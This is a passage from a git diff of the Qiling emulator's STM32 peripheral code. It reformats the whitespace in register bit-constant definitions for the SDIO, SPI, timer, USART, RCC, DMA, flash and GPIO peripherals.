<< 0 - DCRCFAILIE = 1 << 1 - CTIMEOUTIE = 1 << 2 - DTIMEOUTIE = 1 << 3 - TXUNDERRIE = 1 << 4 - RXOVERRIE = 1 << 5 - CMDRENDIE = 1 << 6 - CMDSENTIE = 1 << 7 - DATAENDIE = 1 << 8 - STBITERRIE = 1 << 9 - DBCKENDIE = 1 << 10 - CMDACTIE = 1 << 11 - TXACTIE = 1 << 12 - RXACTIE = 1 << 13 - TXFIFOHEIE = 1 << 14 - RXFIFOHFIE = 1 << 15 - TXFIFOFIE = 1 << 16 - RXFIFOFIE = 1 << 17 - TXFIFOEIE = 1 << 18 - RXFIFOEIE = 1 << 19 - TXDAVLIE = 1 << 20 - RXDAVLIE = 1 << 21 - SDIOITIE = 1 << 22 - CEATAENDIE = 1 << 23 + CCRCFAILIE = 1 << 0 + DCRCFAILIE = 1 << 1 + CTIMEOUTIE = 1 << 2 + DTIMEOUTIE = 1 << 3 + TXUNDERRIE = 1 << 4 + RXOVERRIE = 1 << 5 + CMDRENDIE = 1 << 6 + CMDSENTIE = 1 << 7 + DATAENDIE = 1 << 8 + STBITERRIE = 1 << 9 + DBCKENDIE = 1 << 10 + CMDACTIE = 1 << 11 + TXACTIE = 1 << 12 + RXACTIE = 1 << 13 + TXFIFOHEIE = 1 << 14 + RXFIFOHFIE = 1 << 15 + TXFIFOFIE = 1 << 16 + RXFIFOFIE = 1 << 17 + TXFIFOEIE = 1 << 18 + RXFIFOEIE = 1 << 19 + TXDAVLIE = 1 << 20 + RXDAVLIE = 1 << 21 + SDIOITIE = 1 << 22 + CEATAENDIE = 1 << 23 diff --git a/qiling/hw/const/stm32f4xx_spi.py b/qiling/hw/const/stm32f4xx_spi.py index 203087c17..4eb5bbfa0 100644 --- a/qiling/hw/const/stm32f4xx_spi.py +++ b/qiling/hw/const/stm32f4xx_spi.py @@ -7,63 +7,63 @@ class SPI_CR1(IntEnum): - CPHA = 1 << 0 - CPOL = 1 << 1 - MSTR = 1 << 2 - BR = 0x7 << 3 - SPE = 1 << 6 - LSBFIRST = 1 << 7 - SSI = 1 << 8 - SSM = 1 << 9 - RXONLY = 1 << 10 - DFF = 1 << 11 - CRCNEXT = 1 << 12 - CRCEN = 1 << 13 - BIDIOE = 1 << 14 - BIDIMODE = 1 << 15 + CPHA = 1 << 0 + CPOL = 1 << 1 + MSTR = 1 << 2 + BR = 0x7 << 3 + SPE = 1 << 6 + LSBFIRST = 1 << 7 + SSI = 1 << 8 + SSM = 1 << 9 + RXONLY = 1 << 10 + DFF = 1 << 11 + CRCNEXT = 1 << 12 + CRCEN = 1 << 13 + BIDIOE = 1 << 14 + BIDIMODE = 1 << 15 - RW_MASK = 0xffff + RW_MASK = 0xffff class SPI_CR2(IntEnum): - RXDMAEN = 1 << 0 - TXDMAEN = 1 << 1 - SSOE = 1 << 2 - FRF = 1 << 4 - ERRIE = 1 << 5 - RXNEIE = 1 << 6 - TXEIE = 1 << 7 + RXDMAEN = 1 << 0 + TXDMAEN = 1 << 1 + SSOE = 1 << 2 + FRF = 1 << 4 + ERRIE = 1 << 5 + RXNEIE = 1 << 6 + TXEIE = 1 << 7 - RW_MASK = RXDMAEN|TXDMAEN|SSOE|FRF|ERRIE|RXNEIE|TXEIE + RW_MASK = RXDMAEN|TXDMAEN|SSOE|FRF|ERRIE|RXNEIE|TXEIE class SPI_SR(IntEnum): - RXNE = 1 << 0 - TXE = 1 << 1 - CHSIDE = 1 << 2 - UDR = 1 << 3 - CRCERR = 1 << 4 - MODF = 1 << 5 - OVR = 1 << 6 - BSY = 1 << 7 - FRE = 1 << 8 + RXNE = 1 << 0 + TXE = 1 << 1 + CHSIDE = 1 << 2 + UDR = 1 << 3 + CRCERR = 1 << 4 + MODF = 1 << 5 + OVR = 1 << 6 + BSY = 1 << 7 + FRE = 1 << 8 class SPI_CRCPR(IntEnum): - CRCPOLY = 0xffff + CRCPOLY = 0xffff class SPI_I2SCFGR(IntEnum): - CHLEN = 1 << 0 - DATLEN = 0x3 << 1 - CKPOL = 1 << 3 - I2SSTD = 0x3 << 4 - PCMSYNC = 1 << 7 - I2SCFG = 0x3 << 8 - I2SE = 1 << 10 - I2SMOD = 1 << 11 + CHLEN = 1 << 0 + DATLEN = 0x3 << 1 + CKPOL = 1 << 3 + I2SSTD = 0x3 << 4 + PCMSYNC = 1 << 7 + I2SCFG = 0x3 << 8 + I2SE = 1 << 10 + I2SMOD = 1 << 11 - RW_MASK = CHLEN|DATLEN|CKPOL|I2SSTD|PCMSYNC|I2SCFG|I2SE|I2SMOD + RW_MASK = CHLEN|DATLEN|CKPOL|I2SSTD|PCMSYNC|I2SCFG|I2SE|I2SMOD class SPI_I2SPR(IntEnum): - I2SDIV = 0xff << 0 - ODD = 1 << 8 - MCKOE = 1 << 9 + I2SDIV = 0xff << 0 + ODD = 1 << 8 + MCKOE = 1 << 9 - RW_MASK = I2SDIV|ODD|MCKOE + RW_MASK = I2SDIV|ODD|MCKOE diff --git a/qiling/hw/const/stm32f4xx_tim.py b/qiling/hw/const/stm32f4xx_tim.py index 693f75295..5e126e36d 100644 --- a/qiling/hw/const/stm32f4xx_tim.py +++ b/qiling/hw/const/stm32f4xx_tim.py @@ -7,170 +7,170 @@ class TIM_CR1(IntEnum): - CEN = 1 << 0 - UDIS = 1 << 1 - URS = 1 << 2 - OPM = 1 << 3 - DIR = 1 << 4 - CMS = 0x3 << 5 - ARPE = 1 << 7 - CKD = 0x3 << 8 + CEN = 1 << 0 + UDIS = 1 << 1 + URS = 1 << 2 + OPM = 1 << 3 + DIR = 1 << 4 + CMS = 0x3 << 5 + ARPE = 1 << 7 + CKD = 0x3 << 8 class TIM_CR2(IntEnum): - CCPC = 1 << 0 - CCS = 1 << 2 - CCDS = 1 << 3 - MMS = 0x7 << 4 - TI1S = 1 << 7 - OIS1 = 1 << 8 - OIS1N = 1 << 9 - OIS2 = 1 << 10 - OIS2N = 1 << 11 - OIS3 = 1 << 12 - OIS3N = 1 << 13 - OIS4 = 1 << 14 + CCPC = 1 << 0 + CCS = 1 << 2 + CCDS = 1 << 3 + MMS = 0x7 << 4 + TI1S = 1 << 7 + OIS1 = 1 << 8 + OIS1N = 1 << 9 + OIS2 = 1 << 10 + OIS2N = 1 << 11 + OIS3 = 1 << 12 + OIS3N = 1 << 13 + OIS4 = 1 << 14 class TIM_SMCR(IntEnum): - SMS = 0x7 << 0 - TS = 0x7 << 4 - MSM = 1 << 7 - ETF = 0xf << 8 - ETPS = 0x3 << 12 - ECE = 1 << 14 - ETP = 1 << 15 + SMS = 0x7 << 0 + TS = 0x7 << 4 + MSM = 1 << 7 + ETF = 0xf << 8 + ETPS = 0x3 << 12 + ECE = 1 << 14 + ETP = 1 << 15 class TIM_DIER(IntEnum): - UIE = 1 << 0 - CC1IE = 1 << 1 - CC2IE = 1 << 2 - CC3IE = 1 << 3 - CC4IE = 1 << 4 - COMIE = 1 << 5 - TIE = 1 << 6 - BIE = 1 << 7 - UDE = 1 << 8 - CC1DE = 1 << 9 - CC2DE = 1 << 10 - CC3DE = 1 << 11 - CC4DE = 1 << 12 - COMDE = 1 << 13 - TDE = 1 << 14 + UIE = 1 << 0 + CC1IE = 1 << 1 + CC2IE = 1 << 2 + CC3IE = 1 << 3 + CC4IE = 1 << 4 + COMIE = 1 << 5 + TIE = 1 << 6 + BIE = 1 << 7 + UDE = 1 << 8 + CC1DE = 1 << 9 + CC2DE = 1 << 10 + CC3DE = 1 << 11 + CC4DE = 1 << 12 + COMDE = 1 << 13 + TDE = 1 << 14 class TIM_SR(IntEnum): - UIF = 1 << 0 - CC1IF = 1 << 1 - CC2IF = 1 << 2 - CC3IF = 1 << 3 - CC4IF = 1 << 4 - COMIF = 1 << 5 - TIF = 1 << 6 - BIF = 1 << 7 - CC1OF = 1 << 9 - CC2OF = 1 << 10 - CC3OF = 1 << 11 - CC4OF = 1 << 12 + UIF = 1 << 0 + CC1IF = 1 << 1 + CC2IF = 1 << 2 + CC3IF = 1 << 3 + CC4IF = 1 << 4 + COMIF = 1 << 5 + TIF = 1 << 6 + BIF = 1 << 7 + CC1OF = 1 << 9 + CC2OF = 1 << 10 + CC3OF = 1 << 11 + CC4OF = 1 << 12 class TIM_EGR(IntEnum): - UG = 1 << 0 - CC1G = 1 << 1 - CC2G = 1 << 2 - CC3G = 1 << 3 - CC4G = 1 << 4 - COMG = 1 << 5 - TG = 1 << 6 - BG = 1 << 7 + UG = 1 << 0 + CC1G = 1 << 1 + CC2G = 1 << 2 + CC3G = 1 << 3 + CC4G = 1 << 4 + COMG = 1 << 5 + TG = 1 << 6 + BG = 1 << 7 class TIM_CCMR1(IntEnum): - CC1S = 0x3 << 0 - OC1FE = 1 << 2 - OC1PE = 1 << 3 - OC1M = 0x7 << 4 - OC1CE = 1 << 7 - CC2S = 0x3 << 8 - OC2FE = 1 << 10 - OC2PE = 1 << 11 - OC2M = 0x7 << 12 - OC2CE = 1 << 15 - IC1PSC = 0x3 << 2 - IC1F = 0xf << 4 - IC2PSC = 0x3 << 10 - IC2F = 0xf << 12 + CC1S = 0x3 << 0 + OC1FE = 1 << 2 + OC1PE = 1 << 3 + OC1M = 0x7 << 4 + OC1CE = 1 << 7 + CC2S = 0x3 << 8 + OC2FE = 1 << 10 + OC2PE = 1 << 11 + OC2M = 0x7 << 12 + OC2CE = 1 << 15 + IC1PSC = 0x3 << 2 + IC1F = 0xf << 4 + IC2PSC = 0x3 << 10 + IC2F = 0xf << 12 class TIM_CCMR2(IntEnum): - CC3S = 0x3 << 0 - OC3FE = 1 << 2 - OC3PE = 1 << 3 - OC3M = 0x7 << 4 - OC3CE = 1 << 7 - CC4S = 0x3 << 8 - OC4FE = 1 << 10 - OC4PE = 1 << 11 - OC4M = 0x7 << 12 - OC4CE = 1 << 15 - IC3PSC = 0x3 << 2 - IC3F = 0xf << 4 - IC4PSC = 0x3 << 10 - IC4F = 0xf << 12 + CC3S = 0x3 << 0 + OC3FE = 1 << 2 + OC3PE = 1 << 3 + OC3M = 0x7 << 4 + OC3CE = 1 << 7 + CC4S = 0x3 << 8 + OC4FE = 1 << 10 + OC4PE = 1 << 11 + OC4M = 0x7 << 12 + OC4CE = 1 << 15 + IC3PSC = 0x3 << 2 + IC3F = 0xf << 4 + IC4PSC = 0x3 << 10 + IC4F = 0xf << 12 class TIM_CCER(IntEnum): - CC1E = 1 << 0 - CC1P = 1 << 1 - CC1NE = 1 << 2 - CC1NP = 1 << 3 - CC2E = 1 << 4 - CC2P = 1 << 5 - CC2NE = 1 << 6 - CC2NP = 1 << 7 - CC3E = 1 << 8 - CC3P = 1 << 9 - CC3NE = 1 << 10 - CC3NP = 1 << 11 - CC4E = 1 << 12 - CC4P = 1 << 13 - CC4NP = 1 << 15 + CC1E = 1 << 0 + CC1P = 1 << 1 + CC1NE = 1 << 2 + CC1NP = 1 << 3 + CC2E = 1 << 4 + CC2P = 1 << 5 + CC2NE = 1 << 6 + CC2NP = 1 << 7 + CC3E = 1 << 8 + CC3P = 1 << 9 + CC3NE = 1 << 10 + CC3NP = 1 << 11 + CC4E = 1 << 12 + CC4P = 1 << 13 + CC4NP = 1 << 15 class TIM_CNT(IntEnum): - CNT = 0xffffffff << 0 + CNT = 0xffffffff << 0 class TIM_PSC(IntEnum): - PSC = 0xffff << 0 + PSC = 0xffff << 0 class TIM_ARR(IntEnum): - ARR = 0xffffffff << 0 + ARR = 0xffffffff << 0 class TIM_RCR(IntEnum): - REP = 0xff << 0 + REP = 0xff << 0 class TIM_CCR1(IntEnum): - CCR1 = 0xffff << 0 + CCR1 = 0xffff << 0 class TIM_CCR2(IntEnum): - CCR2 = 0xffff << 0 + CCR2 = 0xffff << 0 class TIM_CCR3(IntEnum): - CCR3 = 0xffff << 0 + CCR3 = 0xffff << 0 class TIM_CCR4(IntEnum): - CCR4 = 0xffff << 0 + CCR4 = 0xffff << 0 class TIM_BDTR(IntEnum): - DTG = 0xff << 0 - LOCK = 0x3 << 8 - OSSI = 1 << 10 - OSSR = 1 << 11 - BKE = 1 << 12 - BKP = 1 << 13 - AOE = 1 << 14 - MOE = 1 << 15 + DTG = 0xff << 0 + LOCK = 0x3 << 8 + OSSI = 1 << 10 + OSSR = 1 << 11 + BKE = 1 << 12 + BKP = 1 << 13 + AOE = 1 << 14 + MOE = 1 << 15 class TIM_DCR(IntEnum): - DBA = 0x1f << 0 - DBL = 0x1f << 8 + DBA = 0x1f << 0 + DBL = 0x1f << 8 class TIM_DMAR(IntEnum): - DMAB = 0xffff << 0 + DMAB = 0xffff << 0 class TIM_OR(IntEnum): - TI1_RMP = 0x3 << 0 - TI4_RMP = 0x3 << 6 - ITR1_RMP = 0x3 << 10 + TI1_RMP = 0x3 << 0 + TI4_RMP = 0x3 << 6 + ITR1_RMP = 0x3 << 10 diff --git a/qiling/hw/const/stm32f4xx_usart.py b/qiling/hw/const/stm32f4xx_usart.py index 669ecd372..9dc8c11f3 100644 --- a/qiling/hw/const/stm32f4xx_usart.py +++ b/qiling/hw/const/stm32f4xx_usart.py @@ -20,11 +20,11 @@ class USART_SR(IntEnum): RESET = TXE | TC class USART_DR(IntEnum): - DR = 0x1ff << 0 + DR = 0x1ff << 0 class USART_BRR(IntEnum): - DIV_Fraction = 0xf << 0 - DIV_Mantissa = 0xfff << 4 + DIV_Fraction = 0xf << 0 + DIV_Mantissa = 0xfff << 4 class USART_CR1(IntEnum): OVER8 = 1 << 15 @@ -44,30 +44,30 @@ class USART_CR1(IntEnum): SBK = 1 << 0 class USART_CR2(IntEnum): - ADD = 0xf << 0 - LBDL = 1 << 5 - LBDIE = 1 << 6 - LBCL = 1 << 8 - CPHA = 1 << 9 - CPOL = 1 << 10 - CLKEN = 1 << 11 - STOP = 0x3 << 12 - LINEN = 1 << 14 + ADD = 0xf << 0 + LBDL = 1 << 5 + LBDIE = 1 << 6 + LBCL = 1 << 8 + CPHA = 1 << 9 + CPOL = 1 << 10 + CLKEN = 1 << 11 + STOP = 0x3 << 12 + LINEN = 1 << 14 class USART_CR3(IntEnum): - EIE = 1 << 0 - IREN = 1 << 1 - IRLP = 1 << 2 - HDSEL = 1 << 3 - NACK = 1 << 4 - SCEN = 1 << 5 - DMAR = 1 << 6 - DMAT = 1 << 7 - RTSE = 1 << 8 - CTSE = 1 << 9 - CTSIE = 1 << 10 - ONEBIT = 1 << 11 + EIE = 1 << 0 + IREN = 1 << 1 + IRLP = 1 << 2 + HDSEL = 1 << 3 + NACK = 1 << 4 + SCEN = 1 << 5 + DMAR = 1 << 6 + DMAT = 1 << 7 + RTSE = 1 << 8 + CTSE = 1 << 9 + CTSIE = 1 << 10 + ONEBIT = 1 << 11 class USART_GTPR(IntEnum): - PSC = 0xff << 0 - GT = 0xff << 8 + PSC = 0xff << 0 + GT = 0xff << 8 diff --git a/qiling/hw/const/stm32fxxx_rcc.py b/qiling/hw/const/stm32fxxx_rcc.py index c8ccd0b3e..b1de35ea2 100644 --- a/qiling/hw/const/stm32fxxx_rcc.py +++ b/qiling/hw/const/stm32fxxx_rcc.py @@ -27,12 +27,12 @@ class RCC_CR(IntEnum): class RCC_PLLCFGR(IntEnum): - PLLM = 0x3f << 0 - PLLN = 0x1ff << 6 - PLLP = 0x3 << 16 - PLLSRC = 1 << 22 - PLLSRC_HSE = 1 << 22 - PLLQ = 0xf << 24 + PLLM = 0x3f << 0 + PLLN = 0x1ff << 6 + PLLP = 0x3 << 16 + PLLSRC = 1 << 22 + PLLSRC_HSE = 1 << 22 + PLLQ = 0xf << 24 class RCC_CFGR(IntEnum): @@ -56,186 +56,186 @@ class RCC_CFGR(IntEnum): RW_MASK = SW | HPRE | PPRE1 | PPRE2 | MCO1 | I2SSCR | MCO1PRE | MCO2PRE | MCO2 class RCC_CIR(IntEnum): - LSIRDYF = 1 << 0 - LSERDYF = 1 << 1 - HSIRDYF = 1 << 2 - HSERDYF = 1 << 3 - PLLRDYF = 1 << 4 - PLLI2SRDYF = 1 << 5 - CSSF = 1 << 7 - LSIRDYIE = 1 << 8 - LSERDYIE = 1 << 9 - HSIRDYIE = 1 << 10 - HSERDYIE = 1 << 11 - PLLRDYIE = 1 << 12 - PLLI2SRDYIE = 1 << 13 - LSIRDYC = 1 << 16 - LSERDYC = 1 << 17 - HSIRDYC = 1 << 18 - HSERDYC = 1 << 19 - PLLRDYC = 1 << 20 - PLLI2SRDYC = 1 << 21 - CSSC = 1 << 23 + LSIRDYF = 1 << 0 + LSERDYF = 1 << 1 + HSIRDYF = 1 << 2 + HSERDYF = 1 << 3 + PLLRDYF = 1 << 4 + PLLI2SRDYF = 1 << 5 + CSSF = 1 << 7 + LSIRDYIE = 1 << 8 + LSERDYIE = 1 << 9 + HSIRDYIE = 1 << 10 + HSERDYIE = 1 << 11 + PLLRDYIE = 1 << 12 + PLLI2SRDYIE = 1 << 13 + LSIRDYC = 1 << 16 + LSERDYC = 1 << 17 + HSIRDYC = 1 << 18 + HSERDYC = 1 << 19 + PLLRDYC = 1 << 20 + PLLI2SRDYC = 1 << 21 + CSSC = 1 << 23 class RCC_AHB1RSTR(IntEnum): - GPIOARST = 1 << 0 - GPIOBRST = 1 << 1 - GPIOCRST = 1 << 2 - GPIODRST = 1 << 3 - GPIOERST = 1 << 4 - GPIOHRST = 1 << 7 - CRCRST = 1 << 12 - DMA1RST = 1 << 21 - DMA2RST = 1 << 22 + GPIOARST = 1 << 0 + GPIOBRST = 1 << 1 + GPIOCRST = 1 << 2 + GPIODRST = 1 << 3 + GPIOERST = 1 << 4 + GPIOHRST = 1 << 7 + CRCRST = 1 << 12 + DMA1RST = 1 << 21 + DMA2RST = 1 << 22 class RCC_AHB2RSTR(IntEnum): - OTGFSRST = 1 << 7 + OTGFSRST = 1 << 7 class RCC_APB1RSTR(IntEnum): - TIM2RST = 1 << 0 - TIM3RST = 1 << 1 - TIM4RST = 1 << 2 - TIM5RST = 1 << 3 - WWDGRST = 1 << 11 - SPI2RST = 1 << 14 - SPI3RST = 1 << 15 - USART2RST = 1 << 17 - I2C1RST = 1 << 21 - I2C2RST = 1 << 22 - I2C3RST = 1 << 23 - PWRRST = 1 << 28 + TIM2RST = 1 << 0 + TIM3RST = 1 << 1 + TIM4RST = 1 << 2 + TIM5RST = 1 << 3 + WWDGRST = 1 << 11 + SPI2RST = 1 << 14 + SPI3RST = 1 << 15 + USART2RST = 1 << 17 + I2C1RST = 1 << 21 + I2C2RST = 1 << 22 + I2C3RST = 1 << 23 + PWRRST = 1 << 28 class RCC_APB2RSTR(IntEnum): - TIM1RST = 1 << 0 - USART1RST = 1 << 4 - USART6RST = 1 << 5 - ADCRST = 1 << 8 - SDIORST = 1 << 11 - SPI1RST = 1 << 12 - SPI4RST = 1 << 13 - SYSCFGRST = 1 << 14 - TIM9RST = 1 << 16 - TIM10RST = 1 << 17 - TIM11RST = 1 << 18 - SPI5RST = 1 << 20 + TIM1RST = 1 << 0 + USART1RST = 1 << 4 + USART6RST = 1 << 5 + ADCRST = 1 << 8 + SDIORST = 1 << 11 + SPI1RST = 1 << 12 + SPI4RST = 1 << 13 + SYSCFGRST = 1 << 14 + TIM9RST = 1 << 16 + TIM10RST = 1 << 17 + TIM11RST = 1 << 18 + SPI5RST = 1 << 20 class RCC_AHB1ENR(IntEnum): - GPIOAEN = 1 << 0 - GPIOBEN = 1 << 1 - GPIOCEN = 1 << 2 - GPIODEN = 1 << 3 - GPIOEEN = 1 << 4 - GPIOHEN = 1 << 7 - CRCEN = 1 << 12 - DMA1EN = 1 << 21 - DMA2EN = 1 << 22 + GPIOAEN = 1 << 0 + GPIOBEN = 1 << 1 + GPIOCEN = 1 << 2 + GPIODEN = 1 << 3 + GPIOEEN = 1 << 4 + GPIOHEN = 1 << 7 + CRCEN = 1 << 12 + DMA1EN = 1 << 21 + DMA2EN = 1 << 22 class RCC_AHB2ENR(IntEnum): - OTGFSEN = 1 << 7 + OTGFSEN = 1 << 7 class RCC_APB1ENR(IntEnum): - TIM2EN = 1 << 0 - TIM3EN = 1 << 1 - TIM4EN = 1 << 2 - TIM5EN = 1 << 3 - WWDGEN = 1 << 11 - SPI2EN = 1 << 14 - SPI3EN = 1 << 15 - USART2EN = 1 << 17 - I2C1EN = 1 << 21 - I2C2EN = 1 << 22 - I2C3EN = 1 << 23 - PWREN = 1 << 28 + TIM2EN = 1 << 0 + TIM3EN = 1 << 1 + TIM4EN = 1 << 2 + TIM5EN = 1 << 3 + WWDGEN = 1 << 11 + SPI2EN = 1 << 14 + SPI3EN = 1 << 15 + USART2EN = 1 << 17 + I2C1EN = 1 << 21 + I2C2EN = 1 << 22 + I2C3EN = 1 << 23 + PWREN = 1 << 28 class RCC_APB2ENR(IntEnum): - TIM1EN = 1 << 0 - USART1EN = 1 << 4 - USART6EN = 1 << 5 - ADC1EN = 1 << 8 - SDIOEN = 1 << 11 - SPI1EN = 1 << 12 - SPI4EN = 1 << 13 - SYSCFGEN = 1 << 14 - TIM9EN = 1 << 16 - TIM10EN = 1 << 17 - TIM11EN = 1 << 18 - SPI5EN = 1 << 20 + TIM1EN = 1 << 0 + USART1EN = 1 << 4 + USART6EN = 1 << 5 + ADC1EN = 1 << 8 + SDIOEN = 1 << 11 + SPI1EN = 1 << 12 + SPI4EN = 1 << 13 + SYSCFGEN = 1 << 14 + TIM9EN = 1 << 16 + TIM10EN = 1 << 17 + TIM11EN = 1 << 18 + SPI5EN = 1 << 20 class RCC_AHB1LPENR(IntEnum): - GPIOALPEN = 1 << 0 - GPIOBLPEN = 1 << 1 - GPIOCLPEN = 1 << 2 - GPIODLPEN = 1 << 3 - GPIOELPEN = 1 << 4 - GPIOHLPEN = 1 << 7 - CRCLPEN = 1 << 12 - FLITFLPEN = 1 << 15 - SRAM1LPEN = 1 << 16 - DMA1LPEN = 1 << 21 - DMA2LPEN = 1 << 22 + GPIOALPEN = 1 << 0 + GPIOBLPEN = 1 << 1 + GPIOCLPEN = 1 << 2 + GPIODLPEN = 1 << 3 + GPIOELPEN = 1 << 4 + GPIOHLPEN = 1 << 7 + CRCLPEN = 1 << 12 + FLITFLPEN = 1 << 15 + SRAM1LPEN = 1 << 16 + DMA1LPEN = 1 << 21 + DMA2LPEN = 1 << 22 class RCC_AHB2LPENR(IntEnum): - OTGFSLPEN = 1 << 7 + OTGFSLPEN = 1 << 7 class RCC_APB1LPENR(IntEnum): - TIM2LPEN = 1 << 0 - TIM3LPEN = 1 << 1 - TIM4LPEN = 1 << 2 - TIM5LPEN = 1 << 3 - WWDGLPEN = 1 << 11 - SPI2LPEN = 1 << 14 - SPI3LPEN = 1 << 15 - USART2LPEN = 1 << 17 - I2C1LPEN = 1 << 21 - I2C2LPEN = 1 << 22 - I2C3LPEN = 1 << 23 - PWRLPEN = 1 << 28 + TIM2LPEN = 1 << 0 + TIM3LPEN = 1 << 1 + TIM4LPEN = 1 << 2 + TIM5LPEN = 1 << 3 + WWDGLPEN = 1 << 11 + SPI2LPEN = 1 << 14 + SPI3LPEN = 1 << 15 + USART2LPEN = 1 << 17 + I2C1LPEN = 1 << 21 + I2C2LPEN = 1 << 22 + I2C3LPEN = 1 << 23 + PWRLPEN = 1 << 28 class RCC_APB2LPENR(IntEnum): - TIM1LPEN = 1 << 0 - USART1LPEN = 1 << 4 - USART6LPEN = 1 << 5 - ADC1LPEN = 1 << 8 - SDIOLPEN = 1 << 11 - SPI1LPEN = 1 << 12 - SPI4LPEN = 1 << 13 - SYSCFGLPEN = 1 << 14 - TIM9LPEN = 1 << 16 - TIM10LPEN = 1 << 17 - TIM11LPEN = 1 << 18 - SPI5LPEN = 1 << 20 + TIM1LPEN = 1 << 0 + USART1LPEN = 1 << 4 + USART6LPEN = 1 << 5 + ADC1LPEN = 1 << 8 + SDIOLPEN = 1 << 11 + SPI1LPEN = 1 << 12 + SPI4LPEN = 1 << 13 + SYSCFGLPEN = 1 << 14 + TIM9LPEN = 1 << 16 + TIM10LPEN = 1 << 17 + TIM11LPEN = 1 << 18 + SPI5LPEN = 1 << 20 class RCC_BDCR(IntEnum): - LSEON = 1 << 0 - LSERDY = 1 << 1 - LSEBYP = 1 << 2 - LSEMOD = 1 << 3 - RTCSEL = 0x3 << 8 - RTCEN = 1 << 15 - BDRST = 1 << 16 + LSEON = 1 << 0 + LSERDY = 1 << 1 + LSEBYP = 1 << 2 + LSEMOD = 1 << 3 + RTCSEL = 0x3 << 8 + RTCEN = 1 << 15 + BDRST = 1 << 16 class RCC_CSR(IntEnum): - LSION = 1 << 0 - LSIRDY = 1 << 1 - RMVF = 1 << 24 - BORRSTF = 1 << 25 - PINRSTF = 1 << 26 - PORRSTF = 1 << 27 - SFTRSTF = 1 << 28 - IWDGRSTF = 1 << 29 - WWDGRSTF = 1 << 30 - LPWRRSTF = 1 << 31 + LSION = 1 << 0 + LSIRDY = 1 << 1 + RMVF = 1 << 24 + BORRSTF = 1 << 25 + PINRSTF = 1 << 26 + PORRSTF = 1 << 27 + SFTRSTF = 1 << 28 + IWDGRSTF = 1 << 29 + WWDGRSTF = 1 << 30 + LPWRRSTF = 1 << 31 class RCC_SSCGR(IntEnum): - MODPER = 0x1fff << 0 - INCSTEP = 0x7fff << 13 - SPREADSEL = 1 << 30 - SSCGEN = 1 << 31 + MODPER = 0x1fff << 0 + INCSTEP = 0x7fff << 13 + SPREADSEL = 1 << 30 + SSCGEN = 1 << 31 class RCC_PLLI2SCFGR(IntEnum): - PLLI2SM = 0x3f << 0 - PLLI2SN = 0x1ff << 6 - PLLI2SR = 0x7 << 28 + PLLI2SM = 0x3f << 0 + PLLI2SN = 0x1ff << 6 + PLLI2SR = 0x7 << 28 class RCC_DCKCFGR(IntEnum): - TIMPRE = 1 << 24 + TIMPRE = 1 << 24 diff --git a/qiling/hw/dma/stm32f4xx_dma.py b/qiling/hw/dma/stm32f4xx_dma.py index 32443ee71..e65a7a932 100644 --- a/qiling/hw/dma/stm32f4xx_dma.py +++ b/qiling/hw/dma/stm32f4xx_dma.py @@ -69,36 +69,36 @@ def step(self, mem): class STM32F4xxDma(QlPeripheral): class Type(ctypes.Structure): """ the structure available in : - stm32f413xx.h - stm32f407xx.h - stm32f469xx.h - stm32f446xx.h - stm32f427xx.h - stm32f401xc.h - stm32f415xx.h - stm32f412cx.h - stm32f410rx.h - stm32f410tx.h - stm32f439xx.h - stm32f412vx.h - stm32f417xx.h - stm32f479xx.h - stm32f429xx.h - stm32f412rx.h - stm32f423xx.h - stm32f437xx.h - stm32f412zx.h - stm32f401xe.h - stm32f410cx.h - stm32f405xx.h - stm32f411xe.h - """ + stm32f413xx.h + stm32f407xx.h + stm32f469xx.h + stm32f446xx.h + stm32f427xx.h + stm32f401xc.h + stm32f415xx.h + stm32f412cx.h + stm32f410rx.h + stm32f410tx.h + stm32f439xx.h + stm32f412vx.h + stm32f417xx.h + stm32f479xx.h + stm32f429xx.h + stm32f412rx.h + stm32f423xx.h + stm32f437xx.h + stm32f412zx.h + stm32f401xe.h + stm32f410cx.h + stm32f405xx.h + stm32f411xe.h + """ _fields_ = [ - ('LISR' , ctypes.c_uint32), # DMA low interrupt status register, Address offset: 0x00 - ('HISR' , ctypes.c_uint32), # DMA high interrupt status register, Address offset: 0x04 - ('LIFCR', ctypes.c_uint32), # DMA low interrupt flag clear register, Address offset: 0x08 - ('HIFCR', ctypes.c_uint32), # DMA high interrupt flag clear register, Address offset: 0x0C + ('LISR' , ctypes.c_uint32), # DMA low interrupt status register, Address offset: 0x00 + ('HISR' , ctypes.c_uint32), # DMA high interrupt status register, Address offset: 0x04 + ('LIFCR', ctypes.c_uint32), # DMA low interrupt flag clear register, Address offset: 0x08 + ('HIFCR', ctypes.c_uint32), # DMA high interrupt flag clear register, Address offset: 0x0C ('stream', Stream * 8), ] diff --git a/qiling/hw/flash/stm32f1xx_flash.py b/qiling/hw/flash/stm32f1xx_flash.py index fd69cfdb7..20c769fd9 100644 --- a/qiling/hw/flash/stm32f1xx_flash.py +++ b/qiling/hw/flash/stm32f1xx_flash.py @@ -43,7 +43,7 @@ def __init__(self, ql: Qiling, label: str, intn: int = None): self.instance = self.struct() @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/flash/stm32f4xx_flash.py b/qiling/hw/flash/stm32f4xx_flash.py index 389dd1322..753a9fd4b 100644 --- a/qiling/hw/flash/stm32f4xx_flash.py +++ b/qiling/hw/flash/stm32f4xx_flash.py @@ -55,7 +55,7 @@ def __init__(self, ql: Qiling, label: str, intn: int = None): self.instance = self.struct() @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/gpio/gd32vf1xx_gpio.py b/qiling/hw/gpio/gd32vf1xx_gpio.py index 40be4c669..087500f10 100644 --- a/qiling/hw/gpio/gd32vf1xx_gpio.py +++ b/qiling/hw/gpio/gd32vf1xx_gpio.py @@ -39,7 +39,7 @@ def __init__(self, ql, label): ) @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/gpio/stm32f1xx_afio.py b/qiling/hw/gpio/stm32f1xx_afio.py index ac2ec27ad..aa6d7fbdc 100644 --- a/qiling/hw/gpio/stm32f1xx_afio.py +++ 